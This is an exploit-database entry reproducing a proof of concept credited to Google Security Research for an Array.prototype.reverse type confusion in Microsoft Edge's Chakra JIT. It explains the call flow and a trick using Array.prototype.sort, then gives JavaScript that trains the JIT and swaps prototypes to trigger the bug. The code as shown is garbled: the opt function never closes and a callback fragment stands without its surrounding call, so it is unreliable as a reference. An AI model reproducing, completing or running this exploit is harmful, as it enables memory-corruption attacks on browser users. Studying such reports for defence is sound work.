Microsoft Edge Chakra JIT - Array.prototype.reverse Array Type Confusion Exploit

ID 1337DAY-ID-29794
Type zdt
Reporter Google Security Research
Modified 2018-02-15T00:00:00


Exploit for windows platform in category dos / poc

This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.
Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray
To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.
Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);
If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.
function opt(arr, arr2) {
    arr[0] = 1.1;
    arr[0] = 2.3023e-320;
function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching 
    delete arr[1];  // avoid doArrayMissingValueCheckHoist
    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;
    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }, () => {
        arr2.__proto__.__proto__ = arr;
    opt(arr, arr2);

# [2018-03-01]  #